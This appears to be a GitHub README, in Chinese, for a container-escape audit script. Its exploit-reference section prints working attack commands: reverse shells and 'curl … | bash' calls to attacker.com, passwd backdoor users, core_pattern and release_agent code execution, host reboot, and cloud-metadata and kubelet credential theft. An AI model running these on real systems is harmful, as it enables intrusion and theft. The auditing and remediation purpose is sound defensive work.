liamromanis101/K8s-container_escape_audit

GitHub: liamromanis101/K8s-container_escape_audit

一个轻量级 bash 脚本,在容器内部运行并执行 35 项检查,全面检测 Docker/Kubernetes 容器的逃逸向量。

Stars: 4 | Forks: 0

# K8s_container-escape-audit 一个在 Docker 或 Kubernetes 容器内部运行并检查逃逸向量的 bash 脚本。专为进行容器安全评估的渗透测试人员和安全团队构建。 ## 它的功能 `container_escape_audit.sh` 执行 35 项检查,涵盖主要的容器逃逸类别:特权配置、危险 capabilities、namespace 隔离、文件系统挂载、内核暴露、Kubernetes 错误配置、云元数据访问以及近期的 CVE。 每项发现都附带结构化的报告条目: - **它是什么**:错误配置或暴露 - **影响**:被利用时的最坏情况 - **可利用性**:难度、工具、现实先例 - **建议**:具体的补救步骤 关于以 root 身份运行的一点说明:当您在容器内以 root 身份运行脚本时,检查 1、2 和 27(特权模式、危险 capabilities、UID 0 映射)总是会产生发现结果。这是预期且正确的。在没有用户 namespace 重映射的情况下以 root 身份运行本身就是一个有意义的发现,而不是误报。 ## 检查 ### 容器配置 | # | 检查 | 严重性 | |---|---|---| | 1 | 特权容器 (`--privileged`) | CRITICAL | | 2 | 危险的 Linux capabilities (CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE 等) | HIGH | | 3 | 主机 namespace 共享 (PID、网络、IPC、UTS、挂载) | HIGH | | 11 | Seccomp / AppArmor / SELinux 被禁用或未受限制 | MEDIUM | | 27 | 用户 namespace UID 映射 (容器内的 root = 宿主机上的 root) | HIGH | ### 文件系统和挂载 | # | 检查 | 严重性 | |---|---|---| | 4 | 危险的宿主机文件系统挂载 (`/`, `/etc`, `/dev`, `/sys`, 运行时 sockets) | CRITICAL | | 5 | `/proc` 暴露 (core_pattern, sysrq-trigger, kcore, kmem, PID1 environ) | CRITICAL | | 8 | 可写的 cron 目录 | HIGH | | 9 | 可写的身份验证文件 (`/etc/passwd`, `/etc/shadow`, `/etc/sudoers`) | CRITICAL | | 13 | SUID/SGID 二进制文件 | MEDIUM | | 17 | 可写的动态链接器配置 (`/etc/ld.so.preload`, `ld.so.conf.d`) | HIGH | | 23 | OverlayFS 上层目录可写性 / 层检查 | MEDIUM | | 33 | OCI hook 注入路径 (`/run/oci/hooks.d`) | CRITICAL/MEDIUM | ### 内核 | # | 检查 | 严重性 | |---|---|---| | 10 | `/dev/mem` 访问和 ptrace 范围 | CRITICAL | | 12 | cgroup v1 `release_agent` 逃逸路径 | CRITICAL | | 14 | 内核版本和 CVE 检查 (DirtyPipe CVE-2022-0847, DirtyCOW CVE-2016-5195) | HIGH | | 19 | cgroup v2 可写性 | MEDIUM | | 22 | 内核模块加载状态 (`modules_disabled`) | INFO | | 28 | eBPF 暴露 (CAP_BPF + bpf syscall 可用性) | CRITICAL | | 29 | debugfs / tracefs 已挂载且可访问 | HIGH | | 32 | 内核密钥环暴露 | HIGH | | 34 | 页缓存写入原语 (splice + pipe2 syscall 可用性) | HIGH | | 35 | Procfs namespace 文件描述符泄漏 | MEDIUM | ### Kubernetes 和云 | # | 检查 | 严重性 | |---|---|---| | 6 | Kubernetes service account token 和 RBAC 权限 | HIGH-CRITICAL | | 7 | 环境变量机密泄漏 | MEDIUM | | 15 | 云实例元数据服务可达 (AWS, Azure, GCP) | CRITICAL | | 16 | Kubelet API 未经身份验证暴露 (端口 10250, 10255) | CRITICAL | | 20 | 机密挂载目录 (`/run/secrets`, `/var/run/secrets`) | HIGH | | 30 | Kubernetes RBAC 主动提权路径探测 | HIGH-CRITICAL | ### 宿主机访问 | # | 检查 | 严重性 | |---|---|---| | 18 | 存在 namespace 逃逸工具 (`nsenter`, `unshare`, `runc`, `crictl`) | MEDIUM | | 21 | 可读的 SSH 私钥 | HIGH | | 31 | 额外的容器运行时 sockets (Podman, BuildKit, Kata) | CRITICAL | ### 近期 CVEs | # | 检查 | 严重性 | |---|---|---| | 24 | Copy Fail (CVE-2026-31431) -- AF_ALG algif_aead 页缓存写入 | CRITICAL | | 25 | NVIDIAScape (CVE-2025-23266) -- NVIDIA Container Toolkit OCI hook LD_PRELOAD | CRITICAL | | 26 | runc 掩码路径竞态 (CVE-2025-31133 / CVE-2025-52565 / CVE-2025-52881) | CRITICAL | ## 用法 ``` curl -O https://raw.githubusercontent.com/liamromanis101/K8s-container_escape_audit/main/container_escape_audit.sh chmod +x container_escape_audit.sh ./container_escape_audit.sh ``` ### 选项 ``` --report Write detailed report to Default: container_escape_report_.txt --json Emit JSON summary to stdout --quiet Suppress info lines, print only WARN/CRITICAL to terminal --no-report Skip writing the report file ``` ### 示例 ``` # 标准运行 ./container_escape_audit.sh # 自定义报告路径 ./container_escape_audit.sh --report /tmp/audit_$(hostname).txt # JSON 输出,过滤 CRITICAL 结果 ./container_escape_audit.sh --json --no-report | jq '.findings[] | select(.severity=="CRITICAL")' # 静默终端输出与报告 ./container_escape_audit.sh --quiet --report ./report.txt ``` ### 在 Kubernetes Pod 内运行 ``` kubectl cp container_escape_audit.sh /:/tmp/audit.sh kubectl exec -n -- bash /tmp/audit.sh --report /tmp/report.txt kubectl cp /:/tmp/report.txt ./audit_report.txt ``` ### 作为 Kubernetes Job 运行 ``` apiVersion: batch/v1 kind: Job metadata: name: container-escape-audit spec: template: spec: restartPolicy: Never containers: - name: audit image: alpine:latest command: - sh - -c - | apk add --no-cache bash curl && \ curl -sO https://raw.githubusercontent.com/liamromanis101/K8s-container_escape_audit/main/container_escape_audit.sh && \ chmod +x container_escape_audit.sh && \ ./container_escape_audit.sh --json ``` ``` kubectl apply -f audit-job.yaml kubectl wait --for=condition=complete job/container-escape-audit --timeout=120s kubectl logs job/container-escape-audit kubectl delete job container-escape-audit ``` 默认情况下,该作业以集群的默认安全上下文运行。这是故意的——审计反映了工作负载实际可用的真实权限。如果要测试特定的安全上下文,请在应用之前添加相关的 `securityContext` 或 `serviceAccountName` 字段。 ## 用于测试的实验环境搭建 这将建立一个故意配置不当的 Docker 容器,该容器将触发大部分的 35 项检查。仅在隔离的虚拟机中使用——不要在具有敏感数据的生产宿主机或任何其他环境上使用。 ### 前置条件 ``` # 将你自己添加到 docker 组 sudo usermod -aG docker $USER newgrp docker # 或者全程在 docker 命令前加上 sudo ``` ### 步骤 1 -- 启动易受攻击的容器 ``` sudo docker run -d \ --name cea_vulnerable \ --hostname cea-target \ --privileged \ --pid=host \ --ipc=host \ --dns=8.8.8.8 \ --dns=8.8.4.4 \ --security-opt apparmor=unconfined \ --security-opt seccomp=unconfined \ --cap-add SYS_ADMIN \ --cap-add SYS_PTRACE \ --cap-add BPF \ -v /var/run/docker.sock:/var/run/docker.sock \ -v /sys:/sys:rw \ -v $(pwd):/audit:ro \ -e DATABASE_PASSWORD=supersecret \ -e AWS_SECRET_ACCESS_KEY=AKIAIOSFODNN7EXAMPLEfakekey \ -e GITHUB_TOKEN=ghp_fakeTokenForTesting \ -e API_KEY=fake-api-key-12345 \ ubuntu:22.04 \ tail -f /dev/null ``` 需要 `--dns` 标志,因为在某些系统上,`--pid=host` 与 `--privileged` 结合使用可能会破坏 DNS 解析。 ### 步骤 2 -- 验证互联网访问 ``` sudo docker exec -it cea_vulnerable bash ``` 进入容器后: ``` ping -c1 archive.ubuntu.com # 如果失败:echo "nameserver 8.8.8.8" > /etc/resolv.conf ``` ### 步骤 3 -- 安装软件包 ``` apt-get update -qq && apt-get install -y \ curl python3 sudo procps \ libcap2-bin cron vim util-linux ``` ### 步骤 4 -- 配置错误配置 ``` useradd -m -s /bin/bash testuser echo 'testuser:password' | chpasswd echo 'ALL ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers echo '* * * * * root echo vuln > /tmp/cron_test' > /etc/cron.d/testlab service cron start chmod u+s /usr/bin/find chmod u+s /usr/bin/python3 ``` ### 步骤 5 -- 运行审计 ``` bash /audit/container_escape_audit.sh ``` 保存报告并将其拉取到宿主机: ``` # 在容器内部 bash /audit/container_escape_audit.sh --report /tmp/audit_report.txt # 从主机上的第二个终端 sudo docker cp cea_vulnerable:/tmp/audit_report.txt ./audit_report.txt ``` ### 步骤 6 -- 清理环境 ``` sudo docker rm -f cea_vulnerable ``` ### 预期结果 | 检查 | 预期结果 | 备注 | |---|---|---| | 1 -- 特权 | CRITICAL | --privileged 标志 | | 2 -- Capabilities | HIGH x4+ | SYS_ADMIN, SYS_PTRACE, BPF 等 | | 3 -- Namespaces | HIGH x2 | --pid=host, --ipc=host | | 4 -- 挂载 | CRITICAL | docker.sock, /sys | | 5 -- /proc | CRITICAL | core_pattern 可通过特权模式写入 | | 7 -- 环境变量机密 | MEDIUM x4 | DATABASE_PASSWORD, AWS 密钥等 | | 8 -- Cron | HIGH | /etc/cron.d/testlab 可写 | | 9 -- 认证文件 | CRITICAL | /etc/sudoers 已被修改 | | 11 -- Seccomp | MEDIUM x2 | 均为 unconfined | | 12 -- cgroup | CRITICAL | release_agent 可写 | | 13 -- SUID | MEDIUM | find, python3 | | 24 -- Copy Fail | CRITICAL 或 INFO | 取决于宿主机内核补丁状态 | | 27 -- UID 映射 | HIGH | 以 root 身份运行,无 userns remap | | 28 -- eBPF | CRITICAL | CAP_BPF + seccomp unconfined | | 29 -- debugfs | MEDIUM | /sys 已挂载 | | 31 -- 运行时 socket | CRITICAL | docker.sock 已挂载 | | 34 -- splice/pipe2 | HIGH | seccomp unconfined | | 35 -- /proc PIDs | MEDIUM | --pid=host | 此处不会触发的检查(需要真实基础设施):检查 15(云 IMDS)、检查 16(Kubelet API)、检查 25(真实的 NVIDIA CTK)、检查 30(真实的 Kubernetes API)。 ## 输出 ### 终端 ``` ======================================================== container_escape_audit.sh v3.0 Container escape vector detection FOR AUTHORISED SECURITY ASSESSMENTS ONLY ======================================================== --- 1. Privileged container --- [CRIT] Container appears PRIVILEGED (CapEff=000001ffffffffff) --- 4. Dangerous filesystem mounts --- [CRIT] Container runtime socket accessible: /var/run/docker.sock --- 24. Copy Fail (CVE-2026-31431) --- [CRIT] VULNERABLE to Copy Fail -- AEAD socket bindable, kernel 6.5.0-21-generic ==================== SUMMARY ==================== [CRITICAL] Container is running in privileged mode [CRITICAL] Container runtime socket accessible: /var/run/docker.sock [CRITICAL] Copy Fail (CVE-2026-31431) AF_ALG exposure [HIGH ] Kubernetes service account token is readable [MEDIUM ] Seccomp is disabled for this container CRITICAL: 3 | HIGH: 4 | MEDIUM: 5 | INFO: 2 ``` ### JSON ``` { "tool": "container_escape_audit", "version": "3.0", "timestamp": "2026-05-01T10:32:00Z", "host": "cea-target", "kernel": "6.5.0-21-generic", "findings": [ { "id": "cve_2026_31431_copy_fail", "severity": "CRITICAL", "title": "Copy Fail (CVE-2026-31431) AF_ALG exposure", "what": "AF_ALG socket family is accessible and the authencesn AEAD algorithm can be bound...", "impact": "Allows controlled 4-byte writes into the page cache of any readable executable...", "exploitability": "Trivial. A single Python script achieves root reliably...", "recommendation": "Apply kernel patches from your distribution immediately..." } ] } ``` ## 环境要求 | 工具 | 必需 | 用途 | |---|---|---| | `bash` | 是 | 脚本执行 | | `grep`, `awk`, `find`, `cat` | 是 | 核心检查 | | `python3` | 可选 | Copy Fail (24), eBPF (28), splice (34) | | `curl` | 可选 | IMDS 和 kubelet API 检查 | | `kubectl` | 可选 | Kubernetes RBAC 枚举 | | `capsh` | 可选 | 人类可读的 capability 解码 | | `ip` | 可选 | 用于 Kubelet 检查的节点 IP 检测 | | `keyctl` | 可选 | 内核密钥环枚举 (32) | | `sestatus` | 可选 | SELinux 状态 | | | | | ## 严重性级别 | 级别 | 含义 | |---|---| | CRITICAL | 极有可能以极小的代价实现宿主机逃逸 | | HIGH | 风险重大,可结合中等代价或其他发现被利用 | | MEDIUM | 纵深防御缺口,增加了其他发现的可利用性 | | INFO | 记录用于提供上下文和交叉引用 | 通常,单个 CRITICAL 发现就足以导致宿主机被完全入侵。多项发现组合在一起可以提升较低严重性问题的威胁——一个 MEDIUM 的 seccomp 发现结合一个 HIGH 的 capability 发现,可能共同构成一条实际的逃逸路径。 ## 涵盖的逃逸技术 检查 1-23 涵盖了已建立的容器逃逸原语:Docker socket 逃逸、特权容器挂载、cgroup v1 release_agent、core_pattern 管道处理程序、Shocker / CAP_DAC_READ_SEARCH、CAP_SYS_ADMIN namespace 重入、内核模块加载、DirtyPipe (CVE-2022-0847)、DirtyCOW (CVE-2016-5195)、Kubernetes service account 滥用、kubelet 未经身份验证的 exec、云 IMDS 凭证窃取、通过 nsenter 进行的宿主机 namespace 逃逸、ld.so.preload 注入以及 /dev/mem 访问。 检查 24-35 增加了对较新和较少被检查的向量的覆盖:Copy Fail (CVE-2026-31431) AF_ALG 页缓存写入、NVIDIAScape (CVE-2025-23266) OCI hook LD_PRELOAD 注入、runc 掩码路径竞态 (CVE-2025-31133/-52565/-52881)、容器内的 root UID 映射、eBPF 内核内存检查、debugfs/tracefs ftrace 暴露、Kubernetes RBAC 主动探测、额外的运行时 sockets (Podman, BuildKit, Kata)、内核密钥环提取、OCI hook 目录注入、splice/pipe2 syscall 攻击面以及 procfs namespace 文件描述符泄漏。 ## 漏洞利用参考 攻击者利用每项发现实际可以做的事情。仅供授权测试和防御目的使用。

容器配置

#### 检查 1 -- 特权容器 (CRITICAL) ``` mkdir /tmp/host && mount /dev/sda1 /tmp/host chroot /tmp/host bash # 或者写入一个 reverse shell 到主机 crontab echo '* * * * * root bash -i >& /dev/tcp/attacker.com/4444 0>&1' \ >> /tmp/host/etc/crontab ``` 补救措施:移除 `--privileged`。使用 `securityContext.capabilities` 仅授予工作负载实际需要的内容。 #### 检查 2 -- 危险的 Linux capabilities (HIGH) | Capability | 利用路径 | |---|---| | `CAP_SYS_ADMIN` | 挂载文件系统,加载内核模块,ptrace 任何进程 | | `CAP_SYS_PTRACE` | 附加到任何宿主机进程,注入 shellcode | | `CAP_SYS_MODULE` | 加载恶意内核模块 | | `CAP_NET_ADMIN` | 重新路由流量,ARP 欺骗,修改宿主机 iptables | | `CAP_DAC_READ_SEARCH` | Shocker 漏洞利用——通过 inode 读取任何宿主机文件 | | `CAP_BPF` | 加载 eBPF 程序以检查所有内核内存和函数调用 | ``` # 使用 CAP_SYS_PTRACE -- 通过 PID 1 进入所有主机 namespace nsenter --target 1 --mount --uts --ipc --net --pid -- bash ``` 补救措施: ``` securityContext: capabilities: drop: ["ALL"] add: ["NET_BIND_SERVICE"] ``` #### 检查 3 -- 宿主机 namespace 共 (HIGH) ``` # hostPID: true -- 通过 PID 1 进入主机 nsenter -t 1 -m -u -i -n -p -- bash # hostNetwork: true -- 嗅探所有 node 流量 tcpdump -i eth0 # hostIPC: true -- 读取主机共享内存 ipcs -a ``` 补救措施: ``` spec: hostPID: false hostNetwork: false hostIPC: false ``` #### 检查 11 -- Seccomp / AppArmor / SELinux 被禁用 (MEDIUM) ``` unshare -UrmC --fork bash ``` 补救措施: ``` securityContext: seccompProfile: type: RuntimeDefault ``` #### 检查 27 -- 用户 namespace UID 映射 (HIGH) 如果没有用户 namespace 重映射,容器内的 UID 0 就是宿主机上的 UID 0。任何挂载逃逸、socket 访问或 capability 漏洞利用都会直接获得宿主机的 root 权限——没有需要跨越的 UID 边界。 补救措施:在 Docker 中启用 userns-remap(在 `/etc/docker/daemon.json` 中设置 `userns-remap: default`)。在 Kubernetes 中,使用无根容器或配置用户 namespace 支持(在 1.30+ 版本中稳定)。在 pod 的安全上下文中设置 `runAsNonRoot: true`。

文件系统和挂载

#### 检查 4 -- 危险的宿主机文件系统挂载 (CRITICAL) ``` # Docker socket -- 瞬间获取主机 root 权限 docker -H unix:///var/run/docker.sock run -v /:/host --privileged alpine \ chroot /host bash # /etc 可写 -- 添加 root 用户 echo 'backdoor::0:0::/root:/bin/bash' >> /etc/passwd su backdoor ``` 补救措施:切勿将 Docker 或 containerd socket 挂载到应用程序容器中。对任何所需的挂载使用 `readOnly: true`。 #### 检查 5 -- /proc 文件系统暴露 (CRITICAL) ``` # 通过 core_pattern 以 root 身份执行任意代码 echo '|/tmp/payload' > /proc/sys/kernel/core_pattern kill -SIGSEGV $$ # 读取主机进程环境 cat /proc/1/environ | tr '\0' '\n' # 重启或导致主机崩溃 echo b > /proc/sysrq-trigger ``` 补救措施:将 `/proc/sys` 挂载为只读。通过 seccomp 拒绝写入。 #### 检查 8 -- 可写的 cron 目录 (HIGH) ``` echo '* * * * * root curl http://attacker.com/shell.sh | bash' \ > /etc/cron.d/backdoor ``` 补救措施: ``` securityContext: readOnlyRootFilesystem: true ``` #### 检查 9 -- 可写的身份验证文件 (CRITICAL) ``` echo 'pwned::0:0:root:/root:/bin/bash' >> /etc/passwd su pwned echo 'ALL ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers ``` 补救措施:使用 `readOnlyRootFilesystem: true`。切勿从宿主机绑定挂载 `/etc`。 #### 检查 13 -- SUID/SGID 二进制文件 (MEDIUM) ``` find / -perm -4000 -type f 2>/dev/null # 如果 /usr/bin/find 拥有 SUID 位 find . -exec /bin/bash -p \; -quit ``` 补救措施: ``` RUN find / -xdev -perm /6000 -type f -exec chmod a-s {} \; ``` #### 检查 17 -- 可写的动态链接器配置 (HIGH) ``` echo '/tmp/evil_lib' > /etc/ld.so.preload # 所有后续的 SUID 二进制文件执行都会首先加载恶意库 ``` 补救措施:使用 `readOnlyRootFilesystem: true`。 #### 检查 23 -- OverlayFS 上层目录 (MEDIUM) 访问 OverlayFS 上层目录允许修改显示为只读的文件,或读取在后续镜像层中被“删除”的数据。可用于恢复在镜像构建期间移除的机密。 补救措施:限制对宿主机上 `/var/lib/docker` 和 `/var/lib/containerd` 的访问。 #### 检查 33 -- OCI hook 注入 (CRITICAL) ``` cat > /run/oci/hooks.d/backdoor.json << 'EOF' { "version": "1.0.0", "hook": {"path": "/tmp/evil.sh"}, "when": {"always": true}, "stages": ["prestart"] } EOF # /tmp/evil.sh 在下一次容器启动时于主机上运行 ``` 补救措施:切勿将 OCI hook 目录挂载到容器中。与 NVIDIAScape (CVE-2025-23266) 相关——两者都利用了 OCI hook 信任边界。

内核

#### 检查 10 -- /dev/mem 和 ptrace 范围 (CRITICAL) ``` dd if=/dev/mem bs=1 skip=$((0x100000)) count=1024 | strings # ptrace_scope=0 -- attach 到一个特权主机进程 gdb -p $(pgrep -n root) ``` 补救措施:确保 `/dev/mem` 不可访问。在所有节点上设置 `kernel.yama.ptrace_scope=1`。 #### 检查 12 -- cgroup v1 release_agent (CRITICAL) ``` mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' >> /cmd chmod +x /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` 补救措施:迁移到 cgroup v2。通过 seccomp 阻止 `mount` 系统调用。 #### 检查 14 -- 内核 CVEs (HIGH) | CVE | 受影响的内核 | 影响 | |---|---|---| | DirtyPipe CVE-2022-0847 | 5.8 至 5.16.11 | 通过管道 splice 覆盖只读文件 | | DirtyCOW CVE-2016-5195 | 4.8.3 之前 | 竞态条件写入只读内存映射文件 | 补救措施:修补宿主机内核。使用 `uname -r` 进行验证。 #### 检查 28 -- eBPF 暴露 (CRITICAL) ``` # 将 kprobe attach 到主机上的任意内核函数 bpftrace -e 'kprobe:vfs_read { printf("%s\n", str(arg1)); }' # 捕获 node 上所有进程的参数 ``` 补救措施:移除 `CAP_BPF` 和 `CAP_SYS_ADMIN`。应用 seccomp 阻止 `bpf(2)`(x86_64 上为系统调用 321)。设置 `kernel.unprivileged_bpf_disabled=1`。 #### 检查 29 -- debugfs / tracefs (HIGH) ``` echo function > /sys/kernel/debug/tracing/current_tracer echo 1 > /sys/kernel/debug/tracing/tracing_on cat /sys/kernel/debug/tracing/trace # 捕获 node 上所有进程的函数参数 ``` 补救措施:不要在容器中挂载 `/sys/kernel/debug`。 #### 检查 32 -- 内核密钥环 (HIGH) ``` # 列出会话密钥(LUKS, Kerberos TGTs, fscrypt keys) keyctl show @s # 使用 CAP_SYS_ADMIN -- 读取密钥内容 keyctl print ``` 补救措施:移除 `CAP_SYS_ADMIN`。应用 seccomp 阻止 `keyctl(2)`(x86_64 上为系统调用 250)。 #### 检查 34 -- 页缓存写入原语 (HIGH) `splice(2)` 和 `pipe2(2)` 是 Copy Fail (CVE-2026-31431) 和 DirtyPipe (CVE-2022-0847) 两者的底层系统调用。它们的存在证实了攻击面并未被 seccomp 过滤减少。 补救措施:如果工作负载不需要,应用限制这两个系统调用的 seccomp 配置文件。确保内核已完全修补。 #### 检查 35 -- Procfs namespace 泄漏 (MEDIUM) ``` # 使用 host PID namespace -- 通过 PID 1 进入主机 mount namespace nsenter -t 1 -m -- ls / cat /proc/1/environ | tr '\0' '\n' ``` 补救措施:使用 `hidepid=2` 挂载 `/proc`。设置 `hostPID: false`。

近期 CVEs

#### 检查 24 -- Copy Fail (CVE-2026-31431) (CRITICAL) 于 2026 年 4 月 29 日披露。Linux 内核的 `algif_aead` 加密模块中的一个逻辑错误,允许非特权用户通过 `AF_ALG` 和 `splice()` 对任何可读可执行文件的页缓存执行受控的 4 字节写入。通过破坏 setuid 二进制文件的内存副本,攻击者可以提权至 root。影响自 2017 年以来发布内核的每个 Linux 发行版。一个约 732 字节的 Python PoC 即可在 Ubuntu 24.04、Amazon Linux 2023、RHEL 10.1 和 SUSE 16 上实现 root 提权。无需任何 capabilities。已被列入 CISA KEV 列表,并确认存在主动利用。 该脚本检查三件事:是否可以创建 `AF_ALG` socket,是否可以绑定 `authencesn(hmac(sha512),cbc(aes))` AEAD 算法,以及 `splice(2)` 和 `pipe2(2)` 是否被 seccomp 阻止。 补救措施: - 应用您发行版的内核补丁(自 2026 年 4 月下旬起发布) - 临时方案:`rmmod algif_aead && echo install algif_aead /bin/false >> /etc/modprobe.d/disable-algif_aead.conf` - 如果不需要,通过 seccomp 阻止 `AF_ALG` socket 创建 #### 检查 25 -- NVIDIAScape (CVE-2025-23266) (CRITICAL) 于 2025 年 7 月披露。NVIDIA Container Toolkit 的 `createContainer` OCI hook 从容器镜像继承环境变量而未进行清理。在 Dockerfile 中设置 `LD_PRELOAD` 会导致 hook 在 namespace 隔离完成之前,将恶意的共享库加载到特权宿主机进程中。Dockerfile 中的三行代码即可让您获得宿主机的 root 权限。影响所有等于或低于 1.17.7 版本的 NVIDIA Container Toolkit。在共享 GPU 的多租户云环境中尤为严重。 ``` FROM nvidia/cuda:12.4.1-base ENV LD_PRELOAD=/tmp/evil.so COPY evil.so /tmp/ ``` 补救措施: - 将 NVIDIA Container Toolkit 升级到 1.17.8 或更高版本,将 GPU Operator 升级到 25.3.1 或更高版本 - 临时方案:在 `/etc/nvidia-container-toolkit/config.toml` 中设置 `disable-cuda-compat-lib-hook = true` - 扫描正在运行的 Pod,查找 `LD_PRELOAD` 指向可写路径的镜像 #### 检查 26 -- runc 掩码路径竞态 (CVE-2025-31133 / CVE-2025-52565 / CVE-2025-52881) (CRITICAL) 于 2025 年 11 月披露。runc 挂载处理中的三个相关竞态条件,允许能够生成容器的低特权攻击者写入任意的 `/proc` 文件。CVE-2025-31133 和 CVE-2025-52565 均允许写入 `/proc/sys/kernel/core_pattern`(任意宿主机代码执行)和 `/proc/sysrq-trigger`(立即重启宿主机)。CVE-2025-52881 还能绕过 AppArmor 和 SELinux。影响 1.2.8、1.3.3 和 1.4.0-rc.3 之前的所有 runc 版本。 补救措施: - 将 runc 更新至 1.2.8、1.3.3 或 1.4.0-rc.3 - 为容器启用用户 namespace(未映射宿主机 root) - 由于 CVE-2025-52881 的 LSM 绕过,AppArmor 和 SELinux 只能提供有限的保护

Kubernetes 和云

#### 检查 6 -- Service account token 和 RBAC (HIGH-CRITICAL) ``` TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) APISERVER=https://kubernetes.default.svc # 这个 token 能做什么? curl -s -H "Authorization: Bearer $TOKEN" \ $APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews # 如果它具有 secrets 访问权限 curl -s -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/secrets # 如果它能创建 pods -- 启动一个特权 escape pod curl -s -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ $APISERVER/api/v1/namespaces/default/pods -d @evil-privileged-pod.json ``` 补救措施: ``` spec: automountServiceAccountToken: false ``` 使用 `kubectl auth can-i --list` 审计权限。 #### 检查 7 -- 环境变量机密泄漏 (MEDIUM) ``` printenv cat /proc/1/environ | tr '\0' '\n' ``` 补救措施:将机密作为文件挂载,而不是作为环境变量。使用外部机密管理器。轮换任何已暴露的内容。 #### 检查 15 -- 云 IMDS (CRITICAL) ``` # AWS curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # GCP curl -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token # Azure curl -H "Metadata:true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" ``` 补救措施:在 AWS 上强制使用 IMDSv2。在 GCP/Azure 上使用 Workload Identity。通过 NetworkPolicy 阻止 `169.254.169.254`。 #### 检查 16 -- Kubelet API 未经身份验证 (CRITICAL) ``` curl -sk https://:10250/pods curl -sk https://:10250/run/// \ -d "cmd=cat /etc/shadow" curl http://:10255/pods ``` 补救措施:在 kubelet 上设置 `--anonymous-auth=false` 和 `--authorization-mode=Webhook`。 #### 检查 20 -- 机密挂载目录 (HIGH) ``` cat /var/run/secrets/kubernetes.io/serviceaccount/token ls /run/secrets/ ``` 补救措施:使用具有较短过期时间的投射 service account token: ``` volumes: - name: token projected: sources: - serviceAccountToken: expirationSeconds: 3600 path: token ``` #### 检查 30 -- Kubernetes RBAC 主动探测 (HIGH-CRITICAL) 该脚本主动发送 `SelfSubjectAccessReview` 请求,以检查六个特定权限:在 kube-system 中创建 pod、集群范围列出机密、在 pod 中执行命令、绑定 ClusterRoles 以及创建 DaemonSets。 ``` # 如果允许在 kube-system 中创建 pods kubectl run escape --image=ubuntu --privileged --overrides=' {"spec":{"hostPID":true,"hostNetwork":true, "volumes":[{"name":"h","hostPath":{"path":"/"}}], "containers":[{"name":"c","image":"ubuntu", "volumeMounts":[{"name":"h","mountPath":"/host"}]}]}}' ``` 补救措施:全面的 RBAC 审计。使用命名空间范围的 Roles 而不是 ClusterRoles。

宿主机访问

#### 检查 18 -- Namespace 逃逸工具 (MEDIUM) ``` nsenter -t 1 -m -u -i -n -p -- bash crictl ps && crictl exec -it bash ``` 补救措施:使用最小化或 distroless 基础镜像。在 CI 中强制进行镜像扫描。 #### 检查 21 -- 可读的 SSH 私钥 (HIGH) ``` find / -name 'id_rsa' -o -name 'id_ed25519' -o -name '*.pem' 2>/dev/null ssh -i /found/key user@internal-host ``` 补救措施:切勿将 SSH 密钥内嵌到镜像中。使用短期证书。 #### 检查 31 -- 额外的运行时 sockets (CRITICAL) ``` # Podman podman -r --url unix:///run/podman/podman.sock run --privileged ... # BuildKit -- 注入到 CI 构建中或窃取构建 secret buildctl --addr unix:///run/buildkit/buildkitd.sock build ... ``` 补救措施:审计所有卷挂载的运行时 socket 路径。
## 集成 ### Falco 此脚本提供的是时间点快照检查。对于连续的运行时检测,请将其与涵盖以下内容的 Falco 规则结合使用: - 写入 `release_agent` 或 `core_pattern` - 在容器内生成 `nsenter`、`unshare` 或 `runc` - 访问 `/var/run/docker.sock` - 到 `169.254.169.254` 的意外出站连接 - 来自非 root 进程的 `AF_ALG` socket 创建(Copy Fail 指标) - `LD_PRELOAD` 被设置为 `/tmp` 或 `/dev/shm` 中的路径(NVIDIAScape 指标) - 在 `/dev/null` 或 `/dev/pts/*` 上创建符号链接(runc CVE-2025-31133 指标) ### CI/CD ``` CRITICAL_COUNT=$(./container_escape_audit.sh --json --no-report \ | jq '[.findings[] | select(.severity=="CRITICAL")] | length') if [ "$CRITICAL_COUNT" -gt 0 ]; then echo "FAILED: $CRITICAL_COUNT critical escape vectors detected" exit 1 fi ``` ### SIEM ``` ./container_escape_audit.sh --json --no-report | \ jq -c '.findings[]' | \ while read -r finding; do curl -s -X POST https://your-siem/api/events \ -H 'Content-Type: application/json' \ -d "$finding" done ``` ## 贡献 添加新检查时: 1. 添加一个 `check_()` 函数 2. 使用所有七个字段调用 `add_finding`:id、severity、title、what、impact、exploitability、recommendation 3. 在 MAIN 部分注册该函数调用 4. 更新本 README 中的检查表 ## 法律声明 仅供授权安全测试使用。在未经系统所有者明确书面许可的情况下对系统运行此脚本,在您所在的司法管辖区可能属于违法行为。对滥用行为不承担任何责任。 版权所有 Liam Romanis。根据 CC BY-NC 4.0 授权——允许署名的非商业性免费使用。商业用途需要明确的书面许可。有关完整条款,请参见 LICENSE。 ## 参考文献 - [Linux Capabilities man page](https://man7.org/linux/man-pages/man7/capabilities.7.html) - [GTFOBins](https://gtfobins.github.io/) - [Kubernetes Pod Security Admission](https://kubernetes.io/docs/concepts/security/pod-security-admission/) - [CIS Kubernetes Benchmark]() - [CVE-2026-31431 Copy Fail](https://en.wikipedia.org/wiki/Copy_Fail) - [CVE-2025-23266 NVIDIAScape](https://www.wiz.io/blog/nvidia-ai-vulnerability-cve-2025-23266-nvidiascape) - [CVE-2025-31133 runc masked path](https://www.cncf.io/blog/2025/11/28/runc-container-breakout-vulnerabilities-a-technical-overview/) - [CVE-2022-0847 DirtyPipe](https://dirtypipe.cm4all.com/) - [CVE-2019-5736 runc escape](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) - [Felix Wilhelm's cgroup release_agent 